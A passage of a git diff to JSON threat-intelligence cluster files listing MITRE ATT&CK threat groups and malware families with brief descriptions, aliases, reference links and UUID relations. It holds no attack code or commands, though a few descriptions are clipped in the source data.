"meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0038", - "https://citizenlab.org/2016/05/stealth-falcon/" - ], - "synonyms": [ - "Stealth Falcon" - ], - "uuid": "894aab42-3371-47b1-8859-a4a074c804c8" - }, - "related": [ - { - "dest-uuid": "dab75e38-6969-4e78-9304-dc269c3cbcf0", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Stealth Falcon" - }, - { - "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.[[Citation: Scarlet Mimic Jan 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0029", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "synonyms": [ - "Scarlet Mimic" - ], - "uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7" - }, - "related": [ - { - "dest-uuid": "0da10682-85c6-4c0b-bace-ba1f7adfb63e", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Scarlet Mimic" - }, - { - "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure.[[Citation: Dell TG-1314]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0028", - "http://www.secureworks.com/resources/blog/living-off-the-land/" - ], - "synonyms": [ - "Threat Group-1314", - "TG-1314" - ], - "uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983" - }, - "value": "Threat Group-1314" - }, - { - "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies.[[Citation: Kaspersky Turla]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0010", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" - ], - "synonyms": [ - "Turla", - "Waterbug" - ], - "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6" - }, - "related": [ - { - "dest-uuid": "fa80877c-f509-4daf-8b62-20aba1635f68", + "dest-uuid": "9559ecaf-2e75-48a7-aee8-9974020bc772", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "c097471c-2405-4393-b6d7-afbcb5f0cd11", + "dest-uuid": "18d473a5-831b-47a5-97a1-a32156299825", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Turla" - }, - { - "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.[[Citation: F-Secure The Dukes]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee starting in the summer of 2015.[[Citation: Crowdstrike DNC June 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0016", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "APT29", - "The Dukes", - "Cozy Bear" - ], - "uuid": "899ce53f-13a0-479b-a0e4-67d46e241542" - }, - "related": [ - { - "dest-uuid": "b2056ff0-00b9-482e-b11c-c771daa5f28a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "APT29" - }, - { - "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.[[Citation: FireEye FIN10 June 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0051", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" - ], - "synonyms": [ - "FIN10" - ], - "uuid": "6c74fda2-bb04-40bd-a166-8c2d4b952d33" - }, - "related": [ - { - "dest-uuid": "fbe9387f-34e6-4828-ac28-3080020c597b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "FIN10" + "value": "Patchwork" }, { "description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: Crowdstrike CrowdCast Oct 2013]][[Citation: FireEye Poison Ivy]][[Citation: PWC Cloud Hopper April 2017]][[Citation: FireEye APT10 April 2017]]", @@ -1381,202 +1486,97 @@ "value": "menuPass" }, { - "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD).[[Citation: CrowdStrike Putter Panda]]", + "description": "Suckfly is a China-based threat group that has been active since at least 2014.[[Citation: Symantec Suckfly March 2016]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0024", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + "https://attack.mitre.org/wiki/Group/G0039", + "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" ], "synonyms": [ - "Putter Panda", - "APT2", - "MSUpdater" + "Suckfly" ], - "uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45" + "uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d" }, "related": [ { - "dest-uuid": "0ca45163-e223-4167-b1af-f088ed14a93d", + "dest-uuid": "5abb12e7-5066-4f84-a109-49a037205c76", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Putter Panda" + "value": "Suckfly" }, { - "description": "Axiom is a cyber espionage group suspected to be associated with the Chinese government.Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]", + "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.[[Citation: Symantec Strider Blog]][[Citation: Kaspersky ProjectSauron Blog]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0001", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", - "https://securelist.com/blog/incidents/70991/games-are-over/", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" + "https://attack.mitre.org/wiki/Group/G0041", + "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/", + "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" ], "synonyms": [ - "Axiom", - "Group 72" + "Strider", + "ProjectSauron" ], - "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973" + "uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656" }, "related": [ { - "dest-uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "090242d7-73fc-4738-af68-20162f7a5aae", + "dest-uuid": "f3179cfb-9c86-4980-bd6b-e4fa74adaaa7", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Axiom" + "value": "Strider" }, { - "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak).[[Citation: Kaspersky Carbanak]]", + "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government.[[Citation: TrendMicro Taidoor]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0008", - "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf" + "https://attack.mitre.org/wiki/Group/G0015", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" ], "synonyms": [ - "Carbanak", - "Anunak" + "Taidoor" ], - "uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c" + "uuid": "59140a2e-d117-4206-9b2c-2a8662bd9d46" }, - "related": [ - { - "dest-uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Carbanak" + "value": "Taidoor" }, { - "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.[[Citation: Dell Lateral Movement]]", + "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies.[[Citation: Kaspersky Turla]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Group/G0026", - "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + "https://attack.mitre.org/wiki/Group/G0010", + "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/" ], "synonyms": [ - "APT18", - "TG-0416", - "Dynamite Panda", - "Threat Group-0416" + "Turla", + "Waterbug" ], - "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648" + "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6" }, "related": [ { - "dest-uuid": "9a683d9c-8f7d-43df-bba2-ad0ca71e277c", + "dest-uuid": "fa80877c-f509-4daf-8b62-20aba1635f68", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "2fb07fa4-0d7f-43c7-8ff4-b28404313fe7", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "8e28dbee-4e9e-4491-9a6c-ee9c9ec4b28b", + "dest-uuid": "c097471c-2405-4393-b6d7-afbcb5f0cd11", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "APT18" - }, - { - "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group's operations are aligned with Vietnamese state interests.[[Citation: FireEye APT32 May 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0050", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" - ], - "synonyms": [ - "APT32", - "OceanLotus Group" - ], - "uuid": "7e5a571f-dee2-4cae-a960-f8ab8a8fb1cf" - }, - "related": [ - { - "dest-uuid": "247cb30b-955f-42eb-97a5-a89fef69341e", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "aa29ae56-e54b-47a2-ad16-d3ab0242d5d7", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "APT32" - }, - { - "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government.[[Citation: Palo Alto Gamaredon Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0047", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" - ], - "synonyms": [ - "Gamaredon Group" - ], - "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf" - }, - "related": [ - { - "dest-uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Gamaredon Group" + "value": "Turla" } ], "version": 8 diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json index 71863f4..97741d6 100644 --- a/clusters/mitre-malware.json +++ b/clusters/mitre-malware.json @@ -10,153 +10,83 @@ "uuid": "d752161c-78f6-11e7-a0ea-bfa79b407ce4", "values": [ { - "description": "OLDBAIT is a credential harvester used by APT28.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: OLDBAIT, Sasfis", + "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.[[Citation: TrendMicro Hacking Team UEFI]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0138", - "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + "https://attack.mitre.org/wiki/Software/S0047", + "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + ], + "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8" + }, + "value": "Hacking Team UEFI Rootkit" + }, + { + "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.[[Citation: Dell P2P ZeuS]]\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0016", + "http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/" ], "synonyms": [ - "OLDBAIT", - "Sasfis" + "P2P ZeuS", + "Peer-to-Peer ZeuS", + "Gameover ZeuS" ], - "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be" + "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85" + }, + "value": "P2P ZeuS" + }, + { + "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.[[Citation: CrowdStrike Putter Panda]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0066", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a" }, "related": [ { - "dest-uuid": "6d1e2736-d363-49aa-9054-9c9e4ac0c520", + "dest-uuid": "59fb0222-0e7d-4f5f-92ac-e68012fb927d", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "OLDBAIT" + "value": "3PARA RAT" }, { - "description": "SOUNDBITE is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", + "description": "4H RAT is malware that has been used by Putter Panda since at least 2007.[[Citation: CrowdStrike Putter Panda]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0157", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + "https://attack.mitre.org/wiki/Software/S0065", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" ], - "uuid": "f5ac89a7-e129-43b7-bd68-e3cb1e5a3ba2" + "uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc" }, "related": [ { - "dest-uuid": "9ca488bd-9587-48ef-b923-1743523e63b2", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f4cac204-3d3f-4bb6-84bd-fc27b2f5158c", + "dest-uuid": "d8aad68d-a68f-42e1-b755-d5f383b73401", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "SOUNDBITE" + "value": "4H RAT" }, { - "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015.[[Citation: F-Secure The Dukes]]\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina", + "description": "China Chopper is a Threat Group-3390.[[Citation: Dell TG-3390]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0050", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + "https://attack.mitre.org/wiki/Software/S0020", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" ], - "synonyms": [ - "CosmicDuke", - "TinyBaron", - "BotgenStudios", - "NemesisGemina" - ], - "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee" + "uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70" }, - "value": "CosmicDuke" - }, - { - "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.[[Citation: Cisco H1N1 Part 1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0132", - "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" - ], - "uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd" - }, - "value": "H1N1" - }, - { - "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0035", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" - ], - "uuid": "8b880b41-5139-4807-baa9-309690218719" - }, - "value": "SPACESHIP" - }, - { - "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.[[Citation: Fidelis Hi-Zor]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0087", - "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html" - ], - "uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc" - }, - "related": [ - { - "dest-uuid": "d22a3e65-75e5-4970-b424-bdc06ec33dba", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Hi-Zor" - }, - { - "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.[[Citation: FireEye FIN7 March 2017]]\n\nAliases: TEXTMATE, DNSMessenger", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0146", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" - ], - "synonyms": [ - "TEXTMATE", - "DNSMessenger" - ], - "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47" - }, - "related": [ - { - "dest-uuid": "ee8ccb36-2596-43a3-a044-b8721dbeb2ab", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "b376580e-aba1-4ac9-9c2d-2df429efecf6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "TEXTMATE" + "value": "China Chopper" }, { "description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.[[Citation: Cylance Cleaver]]\n\nAliases: Net Crawler, NetC", @@ -183,66 +113,106 @@ "value": "Net Crawler" }, { - "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.[[Citation: F-Secure BlackEnergy 2014]]\n\nAliases: BlackEnergy, Black Energy", + "description": "Cherry Picker is a point of sale (PoS) memory scraper.[[Citation: Trustwave Cherry Picker]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0089", - "https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf" + "https://attack.mitre.org/wiki/Software/S0107", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + ], + "uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe" + }, + "value": "Cherry Picker" + }, + { + "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.Skeleton Key is included as a module in Mimikatz.", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0007", + "http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/" + ], + "uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49" + }, + "value": "Skeleton Key" + }, + { + "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.[[Citation: Forcepoint Monsoon]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0130", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56" + }, + "value": "Unknown Logger" + }, + { + "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread.[[Citation: Softpedia MinerC]]\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0133", + "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" ], "synonyms": [ - "BlackEnergy", - "Black Energy" + "Miner-C", + "Mal/Miner-C", + "PhotoMiner" ], - "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4" + "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234" + }, + "value": "Miner-C" + }, + { + "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.[[Citation: Fidelis Hi-Zor]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0087", + "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html" + ], + "uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc" }, "related": [ { - "dest-uuid": "5a22cad7-65fa-4b7a-a7aa-7915a6101efa", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "82c644ab-550a-4a83-9b35-d545f4719069", + "dest-uuid": "d22a3e65-75e5-4970-b424-bdc06ec33dba", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "BlackEnergy" + "value": "Hi-Zor" }, { - "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.[[Citation: Palo Alto DNS Requests]]", + "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012.[[Citation: Cylance Dust Storm]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0124", - "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + "https://attack.mitre.org/wiki/Software/S0084", + "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" ], - "uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236" + "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61" }, - "value": "Pisloader" + "value": "Mis-Type" }, { - "description": "PHOREAL is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", + "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014.[[Citation: Cylance Dust Storm]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0158", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + "https://attack.mitre.org/wiki/Software/S0085", + "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" ], - "uuid": "f9c6da03-8cb1-4383-9d52-a614c42082bf" + "uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131" }, - "related": [ - { - "dest-uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "PHOREAL" + "value": "S-Type" + }, + { + "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.[[Citation: Securelist Agent.btz]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0092", + "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/" + ], + "uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39" + }, + "value": "Agent.btz" }, { "description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it.[[Citation: Symantec Dragonfly]]\n\nAliases: Backdoor.Oldrea, Havex", @@ -269,398 +239,26 @@ "value": "Backdoor.Oldrea" }, { - "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: JPCERT ChChes Feb 2017]][[Citation: PWC Cloud Hopper Technical Annex April 2017]]\n\nAliases: ChChes, Scorpion, HAYMAKER", + "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums.[[Citation: Symantec Dragonfly]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0144", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", - "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + "https://attack.mitre.org/wiki/Software/S0094", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" ], - "synonyms": [ - "ChChes", - "Scorpion", - "HAYMAKER" - ], - "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e" + "uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d" }, - "related": [ - { - "dest-uuid": "d71604d2-a17e-4b4e-82be-19cb54f93161", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "6eee9bf9-ffce-4c88-a5ad-9d80f6fc727c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "ChChes" + "value": "Trojan.Karagany" }, { - "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.[[Citation: TrendMicro Hacking Team UEFI]]", + "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.[[Citation: Ge 2011]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0047", - "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + "https://attack.mitre.org/wiki/Software/S0001", + "http://www.symantec.com/connect/blogs/bios-threat-showing-again" ], - "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8" + "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec" }, - "value": "Hacking Team UEFI Rootkit" - }, - { - "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.[[Citation: FireEye FIN7 April 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0151", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" - ], - "uuid": "71ac10de-1103-40a7-b65b-f97dab9769bf" - }, - "related": [ - { - "dest-uuid": "0ced8926-914e-4c78-bc93-356fb90dbd1f", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "2815a353-cd56-4ed0-8581-812b94f7a326", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "HALFBAKED" - }, - { - "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.[[Citation: CrowdStrike Putter Panda]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0068", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0" - }, - "value": "httpclient" - }, - { - "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.[[Citation: ESET Sednit Part 3]]\n\nAliases: Downdelph, Delphacy", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0134", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" - ], - "synonyms": [ - "Downdelph", - "Delphacy" - ], - "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519" - }, - "related": [ - { - "dest-uuid": "837a295c-15ff-41c0-9b7e-5f2fb502b00a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "e6a077cb-42cc-4193-9006-9ceda8c0dff2", - "tags": [ - 